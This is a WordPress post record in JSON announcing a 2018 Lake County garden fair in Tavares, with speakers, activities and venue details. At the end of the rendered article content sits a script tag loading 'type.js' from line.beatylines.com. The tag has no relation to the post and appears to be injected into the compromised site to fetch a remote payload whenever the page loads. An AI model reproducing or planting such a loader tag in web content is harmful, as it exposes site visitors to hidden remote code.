{"id":218963,"date":"2018-03-07T13:49:46","date_gmt":"2018-03-07T18:49:46","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218963"},"modified":"2021-06-24T09:27:28","modified_gmt":"2021-06-24T13:27:28","slug":"7th-annual-landscape-garden-fair-presents-speakers-on-vegetable-gardening-colorful-perennials-and-more","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/7th-annual-landscape-garden-fair-presents-speakers-on-vegetable-gardening-colorful-perennials-and-more\/","title":{"rendered":"7th Annual Landscape &#038; Garden Fair presents speakers on vegetable gardening, colorful perennials and more"},"content":{"rendered":"<p style=\"font-weight: 400;\"><strong>TAVARES<\/strong>\u00a0\u2013 Lake County\u2019s 7th Annual Landscape &amp; Garden Fair, a free, botanical-themed festival, will be held\u00a0<span data-term=\"goog_1417681084\">Saturday, March 24 and Sunday, March 25<\/span>\u00a0at the Lake County Extension Center\u2019s Discovery Gardens, located at 1951 Woodlea Road, Tavares. The fair will run from\u00a0<span data-term=\"goog_1417681085\">9 a.m. to 4 p.m.<\/span>\u00a0<span data-term=\"goog_1417681086\">on Saturday<\/span>\u00a0and\u00a0<span data-term=\"goog_1417681087\">10 a.m. to 3 p.m.<\/span>\u00a0<span data-term=\"goog_1417681088\">on Sunday<\/span>.<\/p>\n<p style=\"font-weight: 400;\">Sponsored by Lake County, The University of Florida\u2019s Institute of Food and Agricultural Sciences (UF\/IFAS) Extension in Lake County and the Lake County Master Gardeners, the festival attracts thousands of guests to hear expert speakers present on a variety of topics, including butterflies, native plants, and Japanese gardening. The family-friendly event will provide residents and visitors an opportunity to meet with and purchase goods from local merchants that specialize in landscaping, gardening, irrigation, horticulture, fertilizer and more.<\/p>\n<p style=\"font-weight: 400;\">Some notable programs this year include \u201cColorful Landscaping with Annuals and Perennials,\u201d taught by America in Bloom board member and President Emeritus of the American Horticultural Society, Katy Moss Warner. \u201cSpring Vegetable Gardening,\u201d led by Lake County Master Gardener Jack Pounders and \u201cFavorite Botanical Garden Perennials,\u201d hosted by Harry P. Leu Gardens Executive Director, Robert Bowden.<\/p>\n<p style=\"font-weight: 400;\">Additional family-friendly activities include the Children\u2019s Passport, with stops at multiple gardens, the Maze Scavenger Hunt, and special butterfly release. Visitors also have an opportunity to browse and purchase goods from vendors selling landscaping materials, native plants, fruit trees and more.<\/p>\n<p style=\"font-weight: 400;\">Discovery Gardens is nestled on over four acres behind the Lake County Extension Center and features 24 themed gardens, including a string of lush courtyards and five specially designed children\u2019s gardens.<\/p>\n<p style=\"font-weight: 400;\">For a complete schedule of speakers and classes, visit\u00a0www.lakecountyfl.gov\/gardenfair\u00a0or call\u00a0<a href=\"tel:(352)%20343-4101\">352-343-4101<\/a>.<\/p>\n<p><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Residents can learn about vegetable gardening and colorful perennials at the 7th Annual Landscape and Garden Fair hosted by the Lake County Extension.<\/p>\n","protected":false},"author":26806,"featured_media":218964,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[1174,2484,2366,3295,79,80,690,2162,685,3294],"class_list":["post-218963","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-annual","tag-fair","tag-garden","tag-grow","tag-lake","tag-lake-county","tag-lakeco","tag-landscape","tag-tavares","tag-vegetable","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/annual-landscape-and-garden-fair.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218963"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218963\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/218964"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}